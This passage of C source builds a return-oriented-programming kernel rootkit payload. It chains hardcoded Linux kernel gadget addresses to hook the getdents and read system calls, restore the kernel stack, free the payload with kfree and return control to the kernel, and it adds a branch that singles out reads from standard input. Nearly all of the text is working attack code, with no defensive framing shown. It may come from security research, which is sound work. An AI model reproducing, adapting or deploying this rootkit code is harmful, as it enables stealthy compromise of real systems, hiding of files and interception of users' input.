    generate_stack_decrement(&payload_stack, &payload_stack_size,
                             payload_stack_size - loop_begin);
    
    // Patch exit jump
    generate_conditional_jump_equal(&jmp_getdents_done,
                                    &jmp_getdents_done_size,
                                    payload_stack_size - jmp_getdents_done_size);
    
    
    // ----------------------------------------------------------------
    // << FUNCTIONALITY GETDENTS DONE
    // ================================================================

    // ================================================================
    // >> EPILOG GETDENTS
    // ----------------------------------------------------------------
    // In the epilog we must restore the callee saved registers (RBX,
    // RBP), the return value, and hand control back to the original 
    // kernel execution path.

    // ----------------------------------------------------------------
    // 1. Get the location of the original kernel stack
    // ----------------------------------------------------------------
    // Lets first calculate the address of the kernel stack.
    // For this we move the address of the per_cpu kernel stack into RAX.
    // This address is contained in gs:0xc730. It is a fixed address for
    // our target machine.
    add_to_fake_stack(0xffffffff8100a4de, &payload_stack, &payload_stack_size);  // POP RAX; RET;
    add_to_fake_stack(0xffff88003d80c730, &payload_stack, &payload_stack_size);  // gs:0xc730

    // We want the VALUE at this address
    add_to_fake_stack(0xffffffff81074b56, &payload_stack, &payload_stack_size);  // MOV RAX, [RAX]; RET
    
    // Load offset from per_cpu(kernel_stack) to current 
    // kernel stack (basically we have to account for the memory 
    // that the system call handler is using) into RSI
    add_to_fake_stack(0xffffffff81343c9e, &payload_stack, &payload_stack_size);  // POP RSI; RET;
    add_to_fake_stack(0x60, &payload_stack, &payload_stack_size);                // Offset. This is 
                                                                                 // the space that the
                                                                                 // system_call_handler
                                                                                 // is using.

    // We now have to SUBSTRACT (the stack grows down!) this value from the 
    // kernel stack in RAX to get the value the SP had before our sysenter
    // hook was invoked.
    add_to_fake_stack(0xffffffff8158f734, &payload_stack, &payload_stack_size);  // SUB RAX, RSI; RET;

    // ----------------------------------------------------------------
    // 2. Prepare the kernel stack for the control transfer
    // ----------------------------------------------------------------
    // The original kernel stack still contains the return address. We can 
    // use this and switch to it using a LEAVE; RET. What is missing is the
    // original RBP on the kernel stack. So we write it there.

    // First of all we store the kernel stack value temporarily.
    // To do this we move it to the state TMP filed that we load 
    // into RSI.
    add_to_fake_stack(0xffffffff81343c9e, &payload_stack, &payload_stack_size);  // POP RSI; RET;
    add_patch_entry(&payload_stack, &payload_stack_size, TMP, 0);                // Create a patch entry
    add_to_fake_stack(0x0, &payload_stack, &payload_stack_size);                 // TMP,
                                                                                 // must be overwritten by init

    // SAVE
    add_to_fake_stack(0xffffffff8102eaa1, &payload_stack, &payload_stack_size);  // MOV [RSI],RAX; 
                                                                                 // XOR EAX,EAX;
                                                                                 // RET;
    // Restore RAX, which was overwritten by the last gadget
    add_to_fake_stack(0xffffffff8100a4de, &payload_stack, &payload_stack_size);  // POP RAX; RET;
    add_patch_entry(&payload_stack, &payload_stack_size, TMP, 0);                // Create a patch entry
    add_to_fake_stack(0x0, &payload_stack, &payload_stack_size);                 // TMP,
                                                                                 // must be overwritten by init
    add_to_fake_stack(0xffffffff81074b56, &payload_stack, &payload_stack_size);  // MOV RAX, [RAX]; RET    
    
    // We now move the current kernel stack into RSI. The gadget contains
    // a call, so we must setup RBX first. Simply pop the return address that
    // is pushed by the call
    add_to_fake_stack(0xffffffff812ca859, &payload_stack, &payload_stack_size);  // POP RBX; RET;
    add_to_fake_stack(0xffffffff812ca859, &payload_stack, &payload_stack_size);  // Address of POP RBX;
                                                                                 //            RET;
    
    // Now move the kernel stack pointer (RAX) to RSI
    add_to_fake_stack(0xffffffff8103b7b9, &payload_stack, &payload_stack_size);  // MOV RSI,RAX; 
                                                                                 // CALL RBX;
    
    // Since we want to call a function (kfree) before we return, we have to
    // place the return value of the system call we executed on the stack
    // such that it is popped after the call to kfree.
    // Load the return value into RAX.
    generate_get_state_value(&payload_stack, &payload_stack_size,
                             RAX, REG_RAX);
    // Move
    add_to_fake_stack(0xffffffff8102eaa1, &payload_stack, &payload_stack_size);  // MOV [RSI],RAX; 
                                                                                 // XOR EAX,EAX;
                                                                                 // RET;
    // return value now on the kernel stack
    
    // Substract 8 from RSI such that it points to the next free value
    // on the kernel stack
    generate_substract_value(&payload_stack, &payload_stack_size,
                             0x8, REG_RSI);
    
    // Address of 'POP RAX; RET' into RAX
    generate_pop(&payload_stack, &payload_stack_size, REG_RAX);
    generate_pop(&payload_stack, &payload_stack_size, REG_RAX);
    
    // Move
    add_to_fake_stack(0xffffffff8102eaa1, &payload_stack, &payload_stack_size);  // MOV [RSI],RAX; 
                                                                                 // XOR EAX,EAX;
                                                                                 // RET;
    // POP RAX; RET on kernel stack
    
    // Substract 8 from RSI such that it points to the next free value
    // on the kernel stack
    generate_substract_value(&payload_stack, &payload_stack_size,
                             0x8, REG_RSI);
    
    // Load STI; RET; on kernel stack
    // This will enable interrupts on the kernel stack
    generate_pop(&payload_stack, &payload_stack_size, REG_RAX);
    add_to_fake_stack(0xffffffff81066b92, &payload_stack, &payload_stack_size);  // Address of STI; RET;
    
    // Move
    add_to_fake_stack(0xffffffff8102eaa1, &payload_stack, &payload_stack_size);  // MOV [RSI],RAX; 
                                                                                 // XOR EAX,EAX;
                                                                                 // RET;
    // STI; RET; now on kernel stack
    
    // Substract 8 from RSI such that it points to the next free value
    // on the kernel stack
    generate_substract_value(&payload_stack, &payload_stack_size,
                             0x8, REG_RSI);
    
    // We now move the address of 'kfree' onto the kernel stack
    // This will free the memory of the payload area before we return.
    generate_pop(&payload_stack, &payload_stack_size, REG_RAX);
    add_to_fake_stack(0xffffffff8117c7b0, &payload_stack, &payload_stack_size);  // Address of 'kfree'
    
    // Move
    add_to_fake_stack(0xffffffff8102eaa1, &payload_stack, &payload_stack_size);  // MOV [RSI],RAX; 
                                                                                 // XOR EAX,EAX;
                                                                                 // RET;
    // 'kfree' now on the kernel stack
    
    // Move our interrupt enabling gadget to the kernel stack.
    // Substract 8 from RSI such that it points to the next free value
    // on the kernel stack
    generate_substract_value(&payload_stack, &payload_stack_size,
                             0x8, REG_RSI);

    // Load the original RBP value into RAX
    add_to_fake_stack(0xffffffff8100a4de, &payload_stack, &payload_stack_size);  // POP RAX; RET;
    add_patch_entry(&payload_stack, &payload_stack_size, RBP, 0);                // Create a patch entry
    add_to_fake_stack(0x0, &payload_stack, &payload_stack_size);                 // RBP,
                                                                                 // must be overwritten by init

    // We want the VALUE within the state field of RBP
    add_to_fake_stack(0xffffffff81074b56, &payload_stack, &payload_stack_size);  // MOV RAX, [RAX]; RET;

    // Move the original RBP to the kernel stack
    add_to_fake_stack(0xffffffff8102eaa1, &payload_stack, &payload_stack_size);  // MOV [RSI],RAX; 
                                                                                 // XOR EAX,EAX;
                                                                                 // RET;
    // Orginal RBP now on kernel stack.
    
    // Save new value of kernel stack pointer
    generate_set_state_value(&payload_stack, &payload_stack_size,
                             TMP, REG_RSI);
    
    // ----------------------------------------------------------------
    // 3. Restore/Prepare Registers
    // ----------------------------------------------------------------
    // Restore the Original value of RBX as it is callee saved
    generate_get_state_value(&payload_stack, &payload_stack_size,
                             RBX, REG_RBX);
    
    // Set RDI to the payload pointer for the call to 'kfree'
    generate_get_state_value(&payload_stack, &payload_stack_size,
                             PAYLOAD, REG_RDI);
    
    // ----------------------------------------------------------------
    // 4. Transfer control back to the kernel.
    // ----------------------------------------------------------------
    // IMPORTANT: Do NOT override RDI!
    // For this we first get the kernel stack value from the state
    add_to_fake_stack(0xffffffff8100a4de, &payload_stack, &payload_stack_size);  // POP RAX; RET;
    add_patch_entry(&payload_stack, &payload_stack_size, TMP, 0);                // Create a patch entry
    add_to_fake_stack(0x0, &payload_stack, &payload_stack_size);                 // TMP,
                                                                                 // must be overwritten by init
    add_to_fake_stack(0xffffffff81074b56, &payload_stack, &payload_stack_size);  // MOV RAX, [RAX]; RET

    // MOVE RAX to RBP for the LEAVE; RET;
    // Move new SP to RBP
    add_to_fake_stack(0xffffffff8116747c, &payload_stack, &payload_stack_size);  // PUSH RAX; POP RBP; RET

    // Ramrod, activate the kernel.
    add_to_fake_stack(LEAVE_RET, &payload_stack, &payload_stack_size);           // LEAVE; RET;

    // ----------------------------------------------------------------
    // << EPILOG GETDENTS DONE
    // ================================================================

    
    
    
    
    // ================================================================
    // ================================================================
    // READ SYSTEM CALL!
    
    // Patch jump.
    generate_conditional_jump_equal(&jmp_to_read, 
                                    &jmp_to_read_size, 
                                    payload_stack_size - jmp_to_read_size);
    
    // ================================================================
    // >> CHECK FOR STDIN
    // ----------------------------------------------------------------
    // If we are not reading from STDIN, we return immediatly
    // RBX must contain the value to compare with
    // RDX must contain the value to compare
    // RBX -> 0 (stdin)
    generate_pop(&payload_stack, &payload_stack_size, REG_RBX);
    add_to_fake_stack(0x0, &payload_stack, &payload_stack_size);
    
    // RDX must contain the FD, which is the first argument of the
    // read system call and thus was stored in RDI.
    generate_get_state_value(&payload_stack, &payload_stack_size,
                             RDI, REG_RDX);
    
    // Jump placeholder. Will be fixed at the end.
    jmp_to_read_handler = payload_stack;
    generate_conditional_jump_equal(&payload_stack, &payload_stack_size, 0x0);
    jmp_to_read_handler_size = payload_stack_size;
    
    // ONLY EXECUTED IF THIS READ SYSTEM CALL DOES NOT READ FROM STDIN
    // In this case we let the kernel do its thing
    // ----------------------------------------------------------------
    // 1. Get the location of the original kernel stack
    // ----------------------------------------------------------------
    // Lets first calculate the address of the kernel stack.
    // For this we move the address of the per_cpu kernel stack into RAX.
    // This address is contained in gs:0xc730. It is a fixed address for
    // our target machine.
    add_to_fake_stack(0xffffffff8100a4de, &payload_stack, &payload_stack_size);  // POP RAX; RET;
    add_to_fake_stack(0xffff88003d80c730, &payload_stack, &payload_stack_size);  // gs:0xc730

    // We want the VALUE at this address
    add_to_fake_stack(0xffffffff81074b56, &payload_stack, &payload_stack_size);  // MOV RAX, [RAX]; RET
    
    // Load offset from per_cpu(kernel_stack) to current 
    // kernel stack (basically we have to account for the memory 
    // that the system call handler is using) into RSI
    add_to_fake_stack(0xffffffff81343c9e, &payload_stack, &payload_stack_size);  // POP RSI; RET;
    add_to_fake_stack(0x60, &payload_stack, &payload_stack_size);                // Offset. This is 
                                                                                 // the space that the
                                                                                 // system_call_handler
                                                                                 // is using.

    // We now have to SUBSTRACT (the stack grows down!) this value from the 
    // kernel stack in RAX to get the value the SP had before our sysenter
    // hook was invoked.
    add_to_fake_stack(0xffffffff8158f734, &payload_stack, &payload_stack_size);  // SUB RAX, RSI; RET;

    // ----------------------------------------------------------------
    // 2. Prepare the kernel stack for the control transfer
    // ----------------------------------------------------------------
    // First of all we store the kernel stack value temporarily.
    // To do this we move it to the state TMP filed that we load 
    // into RSI.
    add_to_fake_stack(0xffffffff81343c9e, &payload_stack, &payload_stack_size);  // POP RSI; RET;
    add_patch_entry(&payload_stack, &payload_stack_size, TMP, 0);                // Create a patch entry
    add_to_fake_stack(0x0, &payload_stack, &payload_stack_size);                 // TMP,
                                                                                 // must be overwritten by init

    // SAVE
    add_to_fake_stack(0xffffffff8102eaa1, &payload_stack, &payload_stack_size);  // MOV [RSI],RAX; 
                                                                                 // XOR EAX,EAX;
                                                                                 // RET;
    // Restore RAX, which was overwritten by the last gadget
    add_to_fake_stack(0xffffffff8100a4de, &payload_stack, &payload_stack_size);  // POP RAX; RET;
    add_patch_entry(&payload_stack, &payload_stack_size, TMP, 0);                // Create a patch entry
    add_to_fake_stack(0x0, &payload_stack, &payload_stack_size);                 // TMP,
                                                                                 // must be overwritten by init
    add_to_fake_stack(0xffffffff81074b56, &payload_stack, &payload_stack_size);  // MOV RAX, [RAX]; RET    
    
    // We now move the current kernel stack into RSI. The gadget contains
    // a call, so we must setup RBX first. Simply pop the return address that
    // is pushed by the call
    add_to_fake_stack(0xffffffff812ca859, &payload_stack, &payload_stack_size);  // POP RBX; RET;
    add_to_fake_stack(0xffffffff812ca859, &payload_stack, &payload_stack_size);  // Address of POP RBX;
                                                                                 //            RET;
    
    // Now move the kernel stack pointer (RAX) to RSI
    add_to_fake_stack(0xffffffff8103b7b9, &payload_stack, &payload_stack_size);  // MOV RSI,RAX; 
                                                                                 // CALL RBX;
    
    // We first move the address of 'sys_read' onto the kernel stack
    // This will execute the read system call when we return to the kernel 
    // stack
    generate_pop(&payload_stack, &payload_stack_size, REG_RAX);
    add_to_fake_stack(0xffffffff81194370, &payload_stack, &payload_stack_size);  // Address of 'sys_read'
    
    // Move
    add_to_fake_stack(0xffffffff8102eaa1, &payload_stack, &payload_stack_size);  // MOV [RSI],RAX; 
                                                                                 // XOR EAX,EAX;
                                                                                 // RET;
    // 'sys_read' now on the kernel stack
    
    // Substract 8 from RSI such that it points to the next free value
    // on the kernel stack
    generate_substract_value(&payload_stack, &payload_stack_size,
                             0x8, REG_RSI);
    
    // Now we have to restore all arguments of sys_read
    // We start with RDI.
    // Load the original value of RDI on the stack.
    generate_get_state_value(&payload_stack, &payload_stack_size,
                             RDI, REG_RAX);
  
    // Move
    add_to_fake_stack(0xffffffff8102eaa1, &payload_stack, &payload_stack_size);  // MOV [RSI],RAX; 
                                                                                 // XOR EAX,EAX;
                                                                                 // RET;
    // Value of RDI on kernel stack

    // Substract 8 from RSI such that it points to the next free value
    // on the kernel stack
    generate_substract_value(&payload_stack, &payload_stack_size,
                             0x8, REG_RSI);
    
    
    // Load Address of 'POP RDI; RET' into RDI such that the first argument
    // of sys_read ends up in RDI.
    generate_pop(&payload_stack, &payload_stack_size, REG_RAX);
    generate_pop(&payload_stack, &payload_stack_size, REG_RDI);
  
    // Move
    add_to_fake_stack(0xffffffff8102eaa1, &payload_stack, &payload_stack_size);  // MOV [RSI],RAX; 
                                                                                 // XOR EAX,EAX;
                                                                                 // RET;
    // POP RDI; RET on kernel stack

    // Substract 8 from RSI such that it points to the next free value
    // on the kernel stack
    generate_substract_value(&payload_stack, &payload_stack_size,
                             0x8, REG_RSI);
    
    // Next RSI.
    // Load the original value of RSI on the stack.
    generate_get_state_value(&payload_stack, &payload_stack_size,
                             RSI, REG_RAX);
  
    // Move
    add_to_fake_stack(0xffffffff8102eaa1, &payload_stack, &payload_stack_size);  // MOV [RSI],RAX; 
                                                                                 // XOR EAX,EAX;
                                                                                 // RET;
    // Value of RSI on kernel stack

    // Substract 8 from RSI such that it points to the next free value
    // on the kernel stack
    generate_substract_value(&payload_stack, &payload_stack_size,
                             0x8, REG_RSI);
    
    
    // Load Address of 'POP RSI; RET' into RSI such that the second argument
    // of sys_read ends up in RSI.
    generate_pop(&payload_stack, &payload_stack_size, REG_RAX);
    generate_pop(&payload_stack, &payload_stack_size, REG_RSI);
  
    // Move
    add_to_fake_stack(0xffffffff8102eaa1, &payload_stack, &payload_stack_size);  // MOV [RSI],RAX; 
                                                                                 // XOR EAX,EAX;
                                                                                 // RET;
    // POP RSI; RET on kernel stack

    // Substract 8 from RSI such that it points to the next free value
    // on the kernel stack
    generate_substract_value(&payload_stack, &payload_stack_size,
                             0x8, REG_RSI);
    
    // Finally RDX
    // Load the original value of RDX on the stack.
    generate_get_state_value(&payload_stack, &payload_stack_size,
                             RDX, REG_RAX);
  
    // Move
    add_to_fake_stack(0xffffffff8102eaa1, &payload_stack, &payload_stack_size);  // MOV [RSI],RAX; 
                                                                                 // XOR EAX,EAX;
                                                                                 // RET;
    // Value of RDX on kernel stack

    // Substract 8 from RSI such that it points to the next free value
    // on the kernel stack
    generate_substract_value(&payload_stack, &payload_stack_size,
                             0x8, REG_RSI);
    
    
    // Load Address of 'POP RDX; RET' into RDX such that the third argument
    // of sys_read ends up in RDX.
    generate_pop(&payload_stack, &payload_stack_size, REG_RAX);
    generate_pop(&payload_stack, &payload_stack_size, REG_RDX);
  
    // Move
    add_to_fake_stack(0xffffffff8102eaa1, &payload_stack, &payload_stack_size);  // MOV [RSI],RAX; 
                                                                                 // XOR EAX,EAX;
                                                                                 // RET;
    // POP RDX; RET on kernel stack
    
    // Substract 8 from RSI such that it points to the next free value
    // on the kernel stack
    generate_substract_value(&payload_stack, &payload_stack_size,
                             0x8, REG_RSI);
        
    // Move our interrupt enabling gadget to the kernel stack.
    // This will enable interrupts on the kernel stack
    generate_pop(&payload_stack, &payload_stack_size, REG_RAX);
    add_to_fake_stack(0xffffffff81066b92, &payload_stack, &payload_stack_size);  // Address of STI; RET;
    
    // Move
    add_to_fake_stack(0xffffffff8102eaa1, &payload_stack, &payload_stack_size);  // MOV [RSI],RAX; 
                                                                                 // XOR EAX,EAX;
                                                                                 // RET;
    // STI; RET; now on kernel stack
    
    // Substract 8 from RSI such that it points to the next free value
    // on the kernel stack
    generate_substract_value(&payload_stack, &payload_stack_size,
                             0x8, REG_RSI);     
    
    // We move the address of 'kfree' onto the kernel stack
    // This will free the memory of the payload area before we return to 
    // userland.
    // The payload pointer will be in RSI.
    generate_pop(&payload_stack, &payload_stack_size, REG_RAX);
    add_to_fake_stack(0xffffffff8117c7b0, &payload_stack, &payload_stack_size);  // Address of 'kfree'
    
    // Move
    add_to_fake_stack(0xffffffff8102eaa1, &payload_stack, &payload_stack_size);  // MOV [RSI],RAX; 
                                                                                 // XOR EAX,EAX;
                                                                                 // RET;
    // 'kfree' now on the kernel stack
    
    // Substract 8 from RSI such that it points to the next free value
    // on the kernel stack
    generate_substract_value(&payload_stack, &payload_stack_size,
                             0x8, REG_RSI); 

    // Load the original RBP value into RAX
    add_to_fake_stack(0xffffffff8100a4de, &payload_stack, &payload_stack_size);  // POP RAX; RET;
    add_patch_entry(&payload_stack, &payload_stack_size, RBP, 0);                // Create a patch entry
    add_to_fake_stack(0x0, &payload_stack, &payload_stack_size);                 // RBP,
                                                                                 // must be overwritten by init

    // We want the VALUE within the state field of RBP
    add_to_fake_stack(0xffffffff81074b56, &payload_stack, &payload_stack_size);  // MOV RAX, [RAX]; RET;

    // Move the original RBP to the kernel stack
    add_to_fake_stack(0xffffffff8102eaa1, &payload_stack, &payload_stack_size);  // MOV [RSI],RAX; 
                                                                                 // XOR EAX,EAX;
                                                                                 // RET;
    // Orginal RBP now on kernel stack.
    
    // Save new value of kernel stack pointer
    generate_set_state_value(&payload_stack, &payload_stack_size,
                             TMP, REG_RSI);
    
    // ----------------------------------------------------------------
    // 3. Restore/Prepare Registers
    // ----------------------------------------------------------------
    // Restore the Original value of RBX as it is callee saved
    generate_get_state_value(&payload_stack, &payload_stack_size,
                             RBX, REG_RBX);
    
    // Set RDI to the payload pointer for the call to 'kfree'
    generate_get_state_value(&payload_stack, &payload_stack_size,
                             PAYLOAD, REG_RDI);
    
    // ----------------------------------------------------------------
    // 4. Transfer control back to the kernel.
    // ----------------------------------------------------------------
    // IMPORTANT: Do NOT override RDI, RSI, or RDX!
    // For this we first get the kernel stack value from the state
    add_to_fake_stack(0xffffffff8100a4de, &payload_stack, &payload_stack_size);  // POP RAX; RET;
    add_patch_entry(&payload_stack, &payload_stack_size, TMP, 0);                // Create a patch entry
    add_to_fake_stack(0x0, &payload_stack, &payload_stack_size);                 // TMP,
                                                                                 // must be overwritten by init
    add_to_fake_stack(0xffffffff81074b56, &payload_stack, &payload_stack_size);  // MOV RAX, [RAX]; RET

    // MOVE RAX to RBP for the LEAVE; RET;
    // Move new SP to RBP
    add_to_fake_stack(0xffffffff8116747c, &payload_stack, &payload_stack_size);  // PUSH RAX; POP RBP; RET

    // Ramrod, activate the kernel.
    add_to_fake_stack(LEAVE_RET, &payload_stack, &payload_stack_size);           // LEAVE; RET;
    
    // ----------------------------------------------------------------
    // 5. Patch the conditional jump
    // ----------------------------------------------------------------
    generate_conditional_jump_equal(&jmp_to_read_handler, 
                                    &jmp_to_read_handler_size, 
                                    payload_stack_size-jmp_to_read_handler_size);
    
    // ----------------------------------------------------------------
    // << CHECK FOR STDIN
    // ================================================================
    

<p>